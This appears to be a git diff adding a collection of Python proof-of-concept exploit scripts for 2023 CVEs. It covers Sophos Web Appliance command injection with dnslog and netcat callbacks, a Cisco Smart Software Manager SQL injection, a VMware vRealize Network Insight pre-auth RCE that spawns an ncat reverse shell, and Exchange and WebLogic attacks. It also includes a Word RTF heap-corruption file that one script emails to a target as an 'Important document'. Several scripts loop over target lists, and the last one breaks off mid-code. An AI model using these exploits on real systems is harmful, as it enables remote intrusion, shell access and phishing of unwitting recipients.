f2\xff\x02\x37\xad\xaf\x74\xc0\x2f\x98\x1f\x84\xeb\xfa\x7e\x13\x77\x9a\xcd\x03\x3a\x96\x6c\x0a\xef\x9a\x2e\x09\x24\xc2\xce\xe6\x08\x47\x0a\x0c\x5e\xf3\xe9\xfd\x5a\x49\xea\x63\x13\xdb\xec\xeb\x1a\x90\x48\x58\x10\x6b\x2d\x44\x84\xef\x3c\x74\x75\xef\xe9\x16\x05\xe7\xf9\x58\x23\x81\x73\x73\x53\x47\x4e\xcc\x3f\x58\x59\x59\x9d\x3e\x68\x57\x16\x51\x60\x8a\x99\x0d\xbc\x0c\x62\x47\x09\x0d\xcd\x77\x5c\xf9\xd4\x19\x26\xdb\x18\xb4\xe9\xea\x30\xbe\xbd\x46\xdf\x76\xa2\x1f\x2c\x9d\x25\x5f\x20\xb5\x0a\x00\xb8\xf9\xb4\x14\x4c\x4e\xf1\xdb\x17\x3f\xb0\x0d\x4b\xea\xfd\xdb\x71\x38\x9d\xf6\x0a\x5c\xcb\x5f\x94\x26\xa8\x0c\x8a\x04\xfa\x94\x5e\xa3\xcb\x25\x7b\xcb\x30\xbd\xe4\x68\x1d\x0b\x58\xff\xb7\x07\xa9\xc0\x53\x91\xd7\x09\xb1\xe7\x9e\xe9\x6e\x6d\xc1\x86\x1a\x70\x23\x52\x5b\xa3\xb6\xbd\xb8\x48\x17\x1a\x24\xdc\x1b\x34\xc2\x04\xfd\x72\xdd\x32\x8c\x65\x89\x5a\xd2\xf8\x5a\x36\x07\xf5\xcf\x59\x2a\xe9\x48\x74\x20\x2a\xe8\x97\xfc\xd3\x19\x5c\x79\x2a\xfc\x46\x82\xf5\x99\xc2\x76\x95\xf9\x15\x74\x07\x92\x40\xe5\xf2\xe5\x36\x05\xb9\xa0\x69\xd1\xb8\xdb\xee\x48\x15\x06\x1d\xf5\x4e\xab\xd9\x75\xa8\xec\xa1\x98\x3f\x7d\xbd\xba\xfb\x3f\x0e\xc0\x6f\xb4\x64\xd7\x63\xf4\xff\x0a\x6b\x4d\x1a\x84\xfd\x22\xe6\x92\x01\xbe\x55\x98\x19\x13\x16\x81\xd7\xcf\x37\x26\xf0\xda\xe9\x43\xac\x8a\xec\xc3\x83\x5b\xa2\xaa\x21\x85\x24\x69\xbf\x17\x6b\x73\x7d\xd0\x24\x79\x58\xe4\x74\x19\xa8\x0c\xcc\x83\x9b\x2b\x42\x2f\xb6\x14\x35\x7f\x38\xc0\x3f\xf4\x32\x4e\x0a\x0e\x43\x67\x3d\x73\xd5\xb1\x9c\x71\xbd\x76\x07\xfc\x1a\x66\xc6\xdc\x30\x04\x54\xfe\x91\x33\x51\x9a\xec\x0e\x30\xa5\x85\xfc\xe0\xb7\x63\x12\x76\x2f\x7a\x3f\x98\xe8\xaa\x2b\xc4\x8f\xfe\x7a\x13\x63\xe6\x87\x85\x1b\xa2\x57\x00\xd4\xc8\x4c\x69\x04\xb7\x4c\x39\x6b\x45\xd9\x46\x35\xb7\xda\x53\x7b\xf1\x88\x8a\x99\x73\x0b\x60\xbc\xc3\x34\x79\x49\x01\x21\x28\xc1\xd4\x47\x53\x2a\xab\xdb\x05\x09\x54\x86\x34\x26\x2f\x74\xc2\x94\xcb\x69\x67\xfc\x98\x79\xaf\xe2\x9f\x7f\xc4\x2f\x8d\x82\x70\x60\x66\x77\x50\xeb\xff\xab\xdf\x38\x76\x75\x4e\xfd\xf7\x99\x7c\xa4\x9c\x5d\x34\x9f\x71\x7d\xe2\xef\xab\xd7\xf1\xed\x52\x8a\x75\xb1\x1b\x75\x15\xa2\x1c\x2d\x46\xa3\x13\x52\x7f\xce\x0d\x6f\xb8\xf1\x50\x45\x5a\x10\x7e\x9b\xc2\x62\x6c\xc9\x4d\xce\x92\x2c\x75\x28\x5f\x11\xdd\xca\xd1\x92\x90\xf7\xb9\xe9\x63\x5d\x44\x33\x41\x33\x9d\x68\xcf\xc9\x23\x3c\x8b\xd5\x4e\xa7\x07\x75\x3b\xaa\x6b\xc6\x59\xf6\xeb\x66\xd9\x16\x0e\xf4\xa4\xdb\xd9\x6a\x62\x56\x8f\x56\x98\xb1\x7d\xfe\x31\xa8\xc0\xf8\xa5\x20\xfb\x5b\x58\x38\xa9\xa4\x11\x56\x7a\xce\x73\xfe\x0e\xfe\xf8\x79\xef\xe2\x75\x58\x2c\xbf\xa9\xce\xd2\x06\x81\x22\xf9\x5b\xd9\x57\x53\x0f\xcd\x22\x6b\x1c\x0d\x17\xa4\xd4\xca\x5e\x25\x20\xf8\x93\x5a\xba\x13\x69\x02\x47\xd1\x18\xc6\x12\x51\x9e\x27\xe1\x65\x2f\xf2\x7e\x23\x7f\x14\xa8\xae\xe8\xa9\x77\x75\xab\x87\x76\x48\x12\x60\x64\x3d\x1c\x15\x2e\x71\x85\x10\x4d\xbc\xf3\xe8\xdd\x35\xe9\xcf\xab\xd9\x16\x0a\x74\x8b\x8d\x0c\xe2\x1d\xf2\xfc\xbc\x17\x5e\x62\xe7\x16\x6f\xde\xe9\x1d\xe9\xbe\x4a\xf3\xa0\x40\x04\x50\x30\xa3\x9f\xe3\x4d\xae\x44\x29\x2e\xaa\x93\xe8\xb8\xaf\x35\x14\xb5\x0c\x92\xfa\x08\xb5\x60\xf5\x56\xc4\x25\x9b\xfe\xc3\x94\xe5\x63\x5c\x22\x1b\xb6\x08\x8e\x0e\x14\x80\x18\x52\xa3\x1f\x0a\xdb\xbb\xe1\xdc\xf1\x9c\x2c\x2e\x70\x49\x9e\xca\x8f\x1a\x42\x6e\xd8\x1c\x73\x8a\xe9\xbf\x3f\x9d\x51\x46\x81\x48\xed\x03\xb4\x2c\xed\x82\xf9\x46\x39\x5b\xa8\x9a\x49\xfd\xb8\x3f\x5f\x77\x70\x4e\x7d\x2d\x0a\x76\xdd\x74\x9e\x7a\x67\xa0\xd8\x3f\x33\x35\x9c\xdd\xe9\xc4\xf1\xff\xc5\x41\xc3\x65\x71\xbb\x30\x62\x67\x24\x37\x88\x69\xbd\xe6\x7e\xc2\x53\x4d\xb7\x51\x68\x70\xc4\xaa\xe4\x87\x00\x80\xa7\xa5\x9c\xa7\x72\xcd\xa7\x02\xe1\x34\x24\x8f\x61\x2e\x6a\xbe\xb9\xb4\x77\xdf\x2f\x73\xc6\xbd\x86\x9e\x87\x71\x64\x0f\xff\x75\xde\x07\x0c\xf4\x63\xbe\x04\xee\xab\x99\x4e\x36\x7b\xc5\x0e\x62\x52\x9b\xce\x27\x6b\x2d\x69\xc3\x68\x47\x6e\x3e\x3e\x73\xb1\x34\xa1\x07\xa8\xe3\x36\x14\x58\x39\x75\xf9\xf5\x95\x32\x2b\x29\x65\x9e\x54\xa2\xad\xe7\x3a\xce\x69\x70\x42\xa7\x69\x04\x53\xdd\x86\xbb\xe0\x31\x8c\xf3\x30\x5f\x4d\x3e\xbc\xea\xe5\x43\x0c\x1e\xd7\xbe\xfc\x61\x19\x39\xad\xa0\x0c\x37\x62\xab\xc0\x57\xa6\x86\xdf\xb0\xc1\x84\xed\xd2\x76\xb8\x40\x0c\xf3\xf7\x4a\xb5\x9d\xb5\xa5\x8f\x92\xd2\xdf\x0d\xe9\xb7\x28\x31\xe6\x73\xe2\xda\xe2\xd6\x6d\x87\x39\x4a\x72\xac\xbd\xd7\xce\xd8\xc6\xcb\x00\x45\xeb\x4c\x68\xa8\x55\x37\x97\xea\x92\xf9\xa1\x4f\x61\x67\x12\x47\xa4\xe0\x0e\xe9\x8e\x7f\x7b\xf1\x66\xaf\x51\x13\xa5\xa9\xd0\x56\x03\x98\x32\x52\x5d\x8a\x8a\x97\xed\x8a\x1f\x06\xb0\x15\x29\x8c\xee\x43\xfb\xec\x11\x50\xfa\x8b\xb4\x58\x37\xd4\x8a\x50\x2a\x69\x78\x2c\xab\x17\x8d\x6e\x29\xdc\x66\x60\x97\x8e\x9c\xcc\x18\xe7\xba\x6f\x2d\x86\xfa\x3a\x4d\xce\xb2\xd1\x57\x7c\x85\x18\x2b\x78\x03\x27\xfa\x3a\x3c\xd9\x68\x3f\x38\x5f\xd4\x20\x9d\x65\xf9\x02\x7f\x5e\xfa\x2b\x34\x32\xfd\x54\xcf\x37\x81\x6a\xfc\xff\xae\x00\x2d\x8b\xd9\x97\x42\x5e\x82\xfa\x62\xcc\xb1\x43\xe9\x80\xb5\x83\x0d\xc6\xc3\x03\x25\x61\x70\x9c\x84\x3a\x29\xa0\x85\x69\x70\x41\x78\x77\xde\xb9\x4f\x9e\x0a\xae\xaa\xb5\x36\xf0\x5a\xa9\xfb\x4a\xb9\x07\x93\x81\xf2\xd9\xf8\x5b\x88\x6f\x77\x3f\x20\xf1\x63\x76\xee\xed\x22\xf6\x7b\xc2\x7b\x29\x4f\xd8\x5d\xc7\xd3\x03\xa3\x13\xf2\x9d\x1c\x44\x95\xcd\xbb\x0d\x7c\x4d\xfe\xff\xac\xa1\x85\x89\xe8\xbb\xaa\x82\xbb\x56\x61\x8c\xca\x62\x74\x58\x23\xc1\xf4\xfa\xa3\x3c\x35\x27\xdf\x7c\xfa\xf4\x02\xc6\x9a\xf3\x65\x0f\x6d\x76\xfd\x6d\x69\xd6\x01\x2c\xcd\x25\x10\x09\x03\x90\x71\xc3\xd0\xc8\x18\x8e\x7c\xc5\x57\xb6\x0b\x19\x1b\xe4\x7b\x78\xb9\xa1\x38\xdf\xd8\xd8\x57\x2c\x13\xc6\x4e\x37\xe2\x49\x12\xd8\x5e\x78\xde\xae\xbd\xf5\x0f\x58\xa4\xc2\x14\x55\x86\xd5\x23\x9b\x27\x9c\xcb\x81\x77\x1f\xa0\xc3\xfc\x68\x67\xa5\xf4\xa7\xd7\xab\xbd\x50\x61\xd2\xf4\x9b\x57\xad\x63\x69\xb2\xa0\xf3\xc1\x73\x27\x86\xa2\x54\x0f\xd9\xd1\x88\xb9\x3c\x1c\x1e\x8c\x3a\x7d\x9d\x58\xe4\x36\x1e\x9d\x57\x0e\x45\xf8\xcf\x20\x23\x3f\x0c\xae\x02\x42\xda\x07\xce\x27\x65\x72\xe5\xe8\xcc\xf1\xf7\xd2\x50\xca\x76\xc4\xb0\xe4\x39\xc4\x43\xae\x37\xe8\xc6\x34\xb6\x2c\xad\x99\x70\xad\x08\xb8\xc1\x68\x77\x4d\xec\xd4\x42\xbd\xcd\x09\x07\xc9\x9a\xb1\x57\xac\x4e\x63\x63\x03\xea\xf0\xe5\x39\x84\x67\x34\x96\xf7\xb3\x76\xd2\xc4\xe9\x0d\x28\x32\x1a\x3f\x55\x01\xea\x62\xd3\x35\x31\xd0\xff\x7d\x61\x2b\x9e\x13\xf3\x56\x91\x54\xd6\x1b\x5c\x89\x12\xc7\x55\x20\x55\xe3\x1e\xc7\xa9\xe9\xaa\x9a\x3e\x34\x54\xb2\x14\xc2\x57\xa9\x2d\x33\xe3\x86\xcf\xa6\x38\xe6\x51\x28\xbd\xc3\x00\x8f\xf7\xbe\xff\x66\x25\x13\x99\xd4\xfb\x51\x9f\x38\xd3\x74\xae\xb1\x3d\x1e\xae\x08\x27\x49\x89\xdc\xb8\xd1\x20\x3d\x65\x7c\x39\x16\xd1\xc4\x4d\x2b\xc9\xc9\xfe\x50\xa1\x14\xaf\x96\xc9\xed\x70\xd0\x49\xaf\xa3\xc3\x5f\x0d\x3c\x85\xed\x1d\xc6\x20\xf0\x85\x2f\x81\x5f\xca\xfb\xca\x3a\x41\xe4\x58\x9d\xa2\xf6\x7f\xc2\xc4\xbb\xa4\xe5\x1d\xe7\xcd\x88\x3b\x2d\x06\x02\x5e\x7a\x3e\xc9\x08\xd6\x38\x40\x3f\x2e\xb4\x15\x0b\x35\x67\xf1\x30\x63\x38\x6b\x37\x77\x6c\x6d\x80\x91\xfc\xe3\x15\x94\xf3\x74\x9b\x74\x99\x11\x45\x85\xbe\x06\x2f\xa9\x01\x6d\x95\xdb\xde\x20\xf7\x86\x07\xf0\x43\xeb\x67\xb6\xa3\x55\x39\x02\x2d\xea\xf6\xa6\xf3\x80\xaa\xd7\x90\xc6\x3d\x8f\x13\xb4\x80\x08\x0f\xc4\x28\x59\x4b\x3b\xf2\x70\xa9\x97\x63\x46\xe5\xca\xa6\x94\x5f\x7c\x94\x72\x43\xeb\x10\x2b\x47\x8f\xa7\xd6\x0b\x7d\x84\x7b\x6b\x2a\xc2\xae\xf1\xe5\xfa\x78\xf5\xd5\x9c\xbe\x03\x98\x1b\xad\x20\xb3\x3d\x44\xd9\x4a\x17\x00\xe2\x64\x7e\x41\xdd\x25\xe3\xfb\xe0\x98\x9f\x06\xe4\x71\x0a\x69\x27\xae\xbf\xcd\xba\xc6\xe0\xdb\x00\xa3\x67\x84\x25\x84\xd6\xe5\x7f\x89\x2d\xa8\x3d\x7c\x21\x60\x12\x01\x3b\x4d\xdf\xc4\x5b\x51\x6b\xc6\xb8\xc7\x22\x7d\x12\x85\x31\x2e\xab\xc1\x78\xdf\xcb\xe9\x08\x81\xa5\x7e\x2a\x95\x9c\xa6\xd6\xee\x0a\x90\x12\xbb\xc9\x33\x4a\xa5\xd1\x7a\xa9\xe9\x69\x6e\x8e\xb8\xd5\x40\xa8\xa9\xf1\x57\x05\x06\x93\x21\xa4\xf9', 2) \ No newline at end of file diff --git a/CVE-2023-1671-POC.py b/CVE-2023-1671-POC.py new file mode 100644 index 0000000..f9b34f7 --- /dev/null +++ b/CVE-2023-1671-POC.py @@ -0,0 +1,75 @@ +import argparse +import time +import requests +import base64 + +def dnslog_getdomain(session): + url = 'http://www.dnslog.cn/getdomain.php?t=0' + try: + res = session.get(url, verify=False, timeout=60) + return res.text + except: + print(f"[x] {url} --> DNSlog platform --> Request error.") + +def dnslog_getrecords(session, target_url, domain, count): + url = 'http://www.dnslog.cn/getrecords.php?t=0' + try: + resp = session.get(url, verify=False, timeout=60) + if domain in resp.text: + if count == 0: + print(f"[++++++] {target_url} --> vulnerable!") + with open("CVE-2023-1671-vulnerable-urls.txt", 'a+', encoding="utf-8") as f: + f.write(target_url + "\n") + else: + print(f"[++++++] {target_url} --> vulnerable!") + with open("CVE-2023-1671-vulnerable-urls.txt", 'a+', encoding="utf-8") as f: + f.write(target_url + "\n") + else: + print(f"[x] {target_url} --> unvulnerable.") + except: + print(f"[x] {target_url} --> Request error.") + +def exploit(target_url, domain, session): + try: + url = f"{target_url}/index.php?c=blocked&action=continue" + headers = { + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "curl/8.0.1" + } + user_encoded = base64.b64encode(f"';ping {domain} -c 3 #".encode()).decode().replace("=", "") + data = f"args_reason=filetypewarn&url=16625&filetype=5831&user=4525&user_encoded={user_encoded}" + session.post(url, data=data, headers=headers, verify=False, timeout=60) + except requests.exceptions.ProxyError: + print(f"[x] {target_url} --> Proxy error.") + except Exception as e: + print(f"[x] {target_url} --> Unknown error.Error message: {e}") + +def main(target_url, dnslog_url, file): + session = requests.session() + count = 0 + if target_url and dnslog_url: + status_code = exploit(target_url, dnslog_url, session) + if status_code == 200: + print(f'[+] {target_url} --> The response value is {status_code}, please check the dnslog information by your') + elif target_url: + session = requests.session() + domain = dnslog_getdomain(session) + exploit(target_url, domain, session) + dnslog_getrecords(session, target_url, domain, count) + elif file: + for url in file: + count += 1 + target_url = url.replace('\n', '') + session = requests.session() + domain = dnslog_getdomain(session) + time.sleep(1) + exploit(target_url, domain, session) + dnslog_getrecords(session, target_url, domain, count) + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Exploit script') + parser.add_argument('-u', '--url', type=str, required=True, help='Target URL, like: http://wwww.example.com') + parser.add_argument('-d', '--dnslog', type=str, required=False, help='DNSLog platform address') + parser.add_argument('-f', '--file', type=str, required=False, help='Target file') + args = parser.parse_args() + main(args.url, args.dnslog, args.file) \ No newline at end of file diff --git a/CVE-2023-1671.py b/CVE-2023-1671.py new file mode 100644 index 0000000..fcb36fa --- /dev/null +++ b/CVE-2023-1671.py @@ -0,0 +1,45 @@ +import requests +import random +import base64 +import socket +import time + +url_file = 'urls.txt' + +def exploit(host): + payload = f"$(echo -n \"';nc x.x.x.x 6969 #'\" | base64)" + data = { + 'args_reason': 'filetypewarn', + 'url': ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)), + 'filetype': ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)), + 'user': ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)), + 'user_encoded': payload + } + + headers = { + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent': 'curl/8.0.1" + + } + + try: + response = requests.post(f'https://{host}/index.php?c=blocked&action=continue', headers=headers, data=data, verify=False, timeout=30) + if response.status_code == 200: + print(f'Host {host} has been exploited') + else: + print(f'Exploit unsuccessful on host {host}, status code {response.status_code}') + except requests.exceptions.Timeout: + print(f'Timeout on host {host}, moving on to next host') + except requests.exceptions.RequestException as e: + print(f'Error on host {host}: {e}') + +def main(): + with open(url_file, 'r') as f: + for line in f: + host = line.strip() + print(f'Exploiting host {host}') + exploit(host) + time.sleep(1) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/CVE-2023-20110.py b/CVE-2023-20110.py new file mode 100644 index 0000000..7b65a14 --- /dev/null +++ b/CVE-2023-20110.py @@ -0,0 +1,47 @@ +""" +Smart Software Manager On-Prem Release 8-202212 - Authenticated SQL Injection in 'filter_by' parameter +Download link: https://software.cisco.com/download/home/286285506/type/286326948/release/8-202212 + +Usage: +1. Update host and cookies variables, +2. Run `python3 exploit.py` + +Tested on Ubuntu 22.04.1 LTS, Python 3.10.6 + +by redfr0g@stmcyber 2023 +""" + +import requests +import string +import warnings + +# script parameters, update accoridingly +host = ":8443" +cookies = {"_lic_engine_session": "", "XSRF-TOKEN": ""} + + +url = "https://" + host + "/backend/notifications/search_account_notifications.json?filter_by=message_type))%20LIKE%20%27%25%27+OR+1+%3d+1/+(SELECT+CASE+WHEN+(select+version()+LIKE+'P%25')+THEN+0+ELSE+1+END)--%20&filter_val=a&offset=0&limit=10" +headers = {"Accept": "application/json", "Content-Type": "application/json"} +chars = string.printable[0:95] +result = [] +search = True + +print("[+] Cisco Smart Software Manager Release 8-202212 SQL Injection PoC") +print("[+] Starting DBMS banner enumeration...") + +# do error based sql injection until no match found +while search: + for char in chars: + url = "https://" + host + "/backend/notifications/search_account_notifications.json?filter_by=message_type))%20LIKE%20%27%25%27+OR+1+%3d+1/+(SELECT+CASE+WHEN+(select+version()+LIKE+'" + ''.join(result) + char + "%25')+THEN+0+ELSE+1+END)--%20&filter_val=a&offset=0&limit=10" + # disable invalid cert warnings + with warnings.catch_warnings(): + warnings.simplefilter("ignore") + r = requests.get(url, headers=headers, cookies=cookies, verify=False) + if "PG::DivisionByZero" in r.text: + # update and print result + result.append(char) + print("[+] DBMS Banner: " + ''.join(result)) + break + if char == " ": + # stop search if no match found + search = False \ No newline at end of file diff --git a/CVE-2023-20887.py b/CVE-2023-20887.py new file mode 100644 index 0000000..90f205d --- /dev/null +++ b/CVE-2023-20887.py @@ -0,0 +1,61 @@ +""" +VMWare Aria Operations for Networks (vRealize Network Insight) pre-authenticated RCE +Version: 6.8.0.1666364233 +Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) +A root cause analysis of the vulnerability can be found on my blog: +https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ +""" +import warnings +warnings.filterwarnings("ignore", category=DeprecationWarning) +import requests +from threading import Thread +import argparse +from telnetlib import Telnet +import socket +requests.packages.urllib3.disable_warnings() + + + +argparser = argparse.ArgumentParser() +argparser.add_argument("--url", help="VRNI URL", required=True) +argparser.add_argument("--attacker", help="Attacker listening IP:PORT (example: 192.168.1.10:1337)", required=True) + +args = argparser.parse_args() + + + + +def handler(): + print("(*) Starting handler") + t = Telnet() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((args.attacker.split(":")[0],int(args.attacker.split(":")[1]))) + s.listen(1) + conn, addr= s.accept() + print(f"(+) Received connection from {addr[0]}") + t.sock = conn + print("(+) pop thy shell! (it's ready)") + t.interact() + +def start_handler(): + t = Thread(target=handler) + t.daemon = True + t.start() + + +def exploit(): + url = args.url + "/saas./resttosaasservlet" + revshell = f'ncat {args.attacker.split(":")[0]} {args.attacker.split(":")[1]} -e /bin/sh' + payload = """[1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`"""+revshell+"""`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]""" + result = requests.post(url, headers={"Content-Type":"application/x-thrift"}, verify=False, data=payload) + +print("VMWare Aria Operations for Networks (vRealize Network Insight) pre-authenticated RCE || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)") +start_handler() +exploit() + +try: + while True: + pass +except KeyboardInterrupt: + print("(*) Exiting...") + exit(0) \ No newline at end of file diff --git a/CVE-2023-21554.py b/CVE-2023-21554.py new file mode 100644 index 0000000..2e782c2 --- /dev/null +++ b/CVE-2023-21554.py @@ -0,0 +1,59 @@ +# 需要自行修改 ip_address +# 代码中的循环是一开始用于测试的,没有实际用途 + +import socket, time + +base_path = ".\\data\\" +ip_address = "192.168.183.101" +port = 1801 + +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect((ip_address, port)) + +f = open(base_path + "establish_connection.bin", "rb") +ec = f.read() +f.close() + +f = open(base_path + "connection_parameters.bin", "rb") +cp = f.read() +f.close() + +f = open(base_path + "user_message.bin", "rb") +um = f.read() +data = bytearray(um) +f.close() + +#f = open(base_path + "session_acknowledgment.bin", "rb") +#sa = f.read() +#f.close() + +for i in range(0, 1): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.connect((ip_address, port)) + + sock.sendall(ec) + print("[+] Establish connection.") + sock.recv(1024) + print("[+] Receive data done.") + + sock.sendall(cp) + print("[+] Connection parameters.") + sock.recv(1024) + print("[+] Receive data done.") + + #data[0x5e] = i + #data[0x5f] = 0xff + sock.sendall(data) + print("[+] User message.") + sock.recv(1024) + print("[+] Receive data done.") + + #sock.sendall(sa) + #print("[+] Session acknowledgment.") + #sock.recv(1024) + #print("[+] Receive data done.\n") + + sock.close() + + time.sleep(0.1) + \ No newline at end of file diff --git a/CVE-2023-21707.py b/CVE-2023-21707.py new file mode 100644 index 0000000..cea306d --- /dev/null +++ b/CVE-2023-21707.py @@ -0,0 +1,21 @@ +from pypsrp.powershell import PowerShell, RunspacePool +from pypsrp.wsman import WSMan +from pypsrp.complex_objects import ComplexObject, ObjectMeta +import base64 + + +class ExceptionObject(ComplexObject): + def __init__(self, SerializationData): + super(ExceptionObject, self).__init__() + self._adapted_properties = ( + ('SerializationData', ObjectMeta('BA', name='SerializationData')), + ) + self._types = ['System.Exception', 'System.Object'] + self.SerializationData = SerializationData + + +wsman = WSMan(server='netbios', username='username', password='password',path='powershell', ssl=False, port=80, auth='kerberos', scheme='http',) +with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool: + ps = PowerShell(pool) + payload = base64.b64decode('payload here') + ps.add_cmdlet('Get-Mailbox').add_argument(ExceptionObject(payload)).invoke() \ No newline at end of file diff --git a/CVE-2023-21716.py b/CVE-2023-21716.py new file mode 100644 index 0000000..28f575e --- /dev/null +++ b/CVE-2023-21716.py @@ -0,0 +1,31 @@ +#!/usr/bin/python +# +# PoC for: +# Microsoft Word RTF Font Table Heap Corruption Vulnerability +# +# by Joshua J. Drake (@jduck) +# +# Vul info: +# 堆溢出漏洞产生点在于:Microsoft Word中的RTF解析器在处理字体表(*\fonttbl*)包含过量字体(*\f###*)。当处理字体时,字体id值(a *\f*后面的字符)由以下代码处理: +# {% highlight asm %} 0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; +# load base idx 0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; +# load font idx 0d6cf0bd 8d1451 lea edx,[ecx+edx2] ; +# multiply by ~3 0d6cf0c0 668b08 mov cx,word ptr [eax] ; +# load the codepage value 0d6cf0c3 66894c5604 mov word ptr [esi+edx2+4],cx ; +# write the code page {% endhighlight %} + +import sys + +# allow overriding the number of fonts +num = 32761 +if len(sys.argv) > 1: + num = int(sys.argv[1]) + +f = open("tezt.rtf", "wb") +f.write("{\\rtf1{\n{\\fonttbl") +for i in range(num): + f.write("{\\f%dA;}\n" % i) +f.write("}\n") +f.write("{\\rtlch it didn't crash?? no calc?! BOO!!!}\n") +f.write("}}\n") +f.close() \ No newline at end of file diff --git a/CVE-2023-21716poc.py b/CVE-2023-21716poc.py new file mode 100644 index 0000000..293da01 --- /dev/null +++ b/CVE-2023-21716poc.py @@ -0,0 +1,35 @@ +import smtplib +from email.mime.multipart import MIMEMultipart +from email.mime.base import MIMEBase +from email.mime.text import MIMEText +from email import encoders + +with open("exploit.rtf", "wb") as file: + file.write(("{\\rtf1{\n{\\fonttbl" + "".join([("{\\f%dA;}\n" % i) for i in range(0, 32761)]) + "}\n{\\rt''lch no?}\n}}\n").encode("utf-8")) + +smtp_server = "smtp.example.com" +smtp_port = 587 +smtp_user = "your_email@example.com" +smtp_password = "your_password" +from_email = "your_email@example.com" +to_email = "target_email@example.com" + +msg = MIMEMultipart() +msg["From"] = from_email +msg["To"] = to_email +msg["Subject"] = "Important document" + +msg.attach(MIMEText("Please review the attached RTF document.")) + +with open("exploit.rtf", "rb") as file: + attachment = MIMEBase("application", "octet-stream") + attachment.set_payload(file.read()) + encoders.encode_base64(attachment) + attachment.add_header("Content-Disposition", "attachment", filename="exploit.rtf") + msg.attach(attachment) + +server = smtplib.SMTP(smtp_server, smtp_port) +server.starttls() +server.login(smtp_user, smtp_password) +server.sendmail(from_email, to_email, msg.as_string()) +server.quit() \ No newline at end of file diff --git a/CVE-2023-21837.py b/CVE-2023-21837.py new file mode 100644 index 0000000..fb3ae60 --- /dev/null +++ b/CVE-2023-21837.py @@ -0,0 +1,32 @@ +import socket + +# CVE-2023-21837 +def check_vulnerability(target_host, target_port): + # create socket object + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + # set timeout to 30 seconds + s.settimeout(30) + try: + # connect to target + s.connect((target_host, target_port)) + # send exploit payload + s.send(b'\x49\x49\x4f\x50\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00') + # receive response + response = s.recv(1024) + # check if response indicates vulnerability + if b'Y\x02\x0f\x00\x00\x00\x00\x00\x00\x00' in response: + print(f"Target {target_host}:{target_port} is vulnerable!") + else: + print(f"Target {target_host}:{target_port} is not vulnerable.") + except socket.timeout: + print(f"Connection to {target_host}:{target_port} timed out.") + except ConnectionRefusedError: + print(f"Connection to {target_host}:{target_port} was refused.") + except Exception as e: + print(f"Error: {e}") + finally: + # close socket + s.close() + +# example usage +check_vulnerability('127.0.0.1', 7001) \ No newline at end of file diff --git a/CVE-2023-21839.py b/CVE-2023-21839.py new file mode 100644 index 0000000..a040d96 --- /dev/null +++ b/CVE-2023-21839.py @@ -0,0 +1,184 @@ +# -*- encoding: utf-8 -*- +import socket +import argparse + +class POC: + + def __init__(self, target, port, ldap): + self.target = target + self.port = port + self.timeout = 5 + self.ldap = ldap + + def verify(self): + vp = "743320392e322e302e300a41533a3235350a484c3a39320a4d5" \ + "33a31303030303030300a50553a74333a2f2f746573743a373030310a0a" + print("[*] ip :",self.target) + print("[*] port :",self.port) + print("[*] ldap :",self.ldap) + ver = getVer(self.target, self.port, bytes.fromhex(vp)) + wlsKey1 = None + wlsKey2 = None + if ver == '12': + wlsKey1 = "00424541080103000000000c41646d696e53657276657200000000000000003349" \ + "444c3a7765626c6f6769632f636f7262612f636f732f6e616d696e672f4e616d696e6743" \ + "6f6e74657874416e793a312e3000000000000238000000000000014245412c0000001000" \ + "00000000000000{{key1}}" + wlsKey2 = "00424541080103000000000c41646d696e53657276657200000000000000003349" \ + "444c3a7765626c6f6769632f636f7262612f636f732f6e616d696e672f4e616d696e6743" \ + "6f6e74657874416e793a312e30000000000004{{key3}}000000014245412c0000001000" \ + "00000000000000{{key1}}" + elif ver == '14': + wlsKey1 = "00424541080103000000000c41646" \ + "d696e53657276657200000000000000003349444c3a7765626c" \ + "6f6769632f636f7262612f636f732f6e616d696e672f4e616d6" \ + "96e67436f6e74657874416e793a312e30000000000002380000" \ + "00000000014245412e000000100000000000000000{{key1}}" + wlsKey2 = "00424541080103000000000c41646d696e53657276657" \ + "200000000000000003349444c3a7765626c6f6769632f636f72" \ + "62612f636f732f6e616d696e672f4e616d696e67436f6e74657" \ + "874416e793a312e30000000000004{{key3}}00000001424541" \ + "2e000000100000000000000000{{key1}}" + else: + print("[*] ",'版本不符合影响范围') + return + + try: + ldap = str(hex(len(self.ldap)))[2:] + self.ldap.encode().hex() + print("[*] version: " ,ver) + + soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + soc.settimeout(self.timeout) + soc.connect((self.target, int(self.port))) + str2 = "47494f50010200030000001700000002000000000000000b4e616d6553657276696365" + soc.send(bytes.fromhex(str2)) + buf = soc.recv(1024) + print("[*] 2 ", 'locateRequest') + + ioff = 0x60 + while True: + if buf[ioff] != 0x00: + ioff = ioff + 0x01 + else: + break + if ioff > 1024 * 10: + return + while True: + if buf[ioff] == 0x00: + ioff = ioff + 0x01 + else: + break + p = [] + p.append(buf[ioff]) + ioff = ioff + 0x01 + p.append(buf[ioff]) + tmport = int(p[1]) | int(p[0]) << 8 + if tmport != int(self.port): + return + lt = ioff - 0x60 + foff = 0x60 + lt + 0x75 + while True: + if buf[foff] == 0x0: + foff = foff + 0x01 + else: + break + + key1 = buf[foff:foff + 8].hex() + key2 = (b'\xff\xff\xff\xff' + buf[foff + 4:foff + 8]).hex() + wlsKey1 = wlsKey1.replace("{{key1}}",key1) + str3_request = 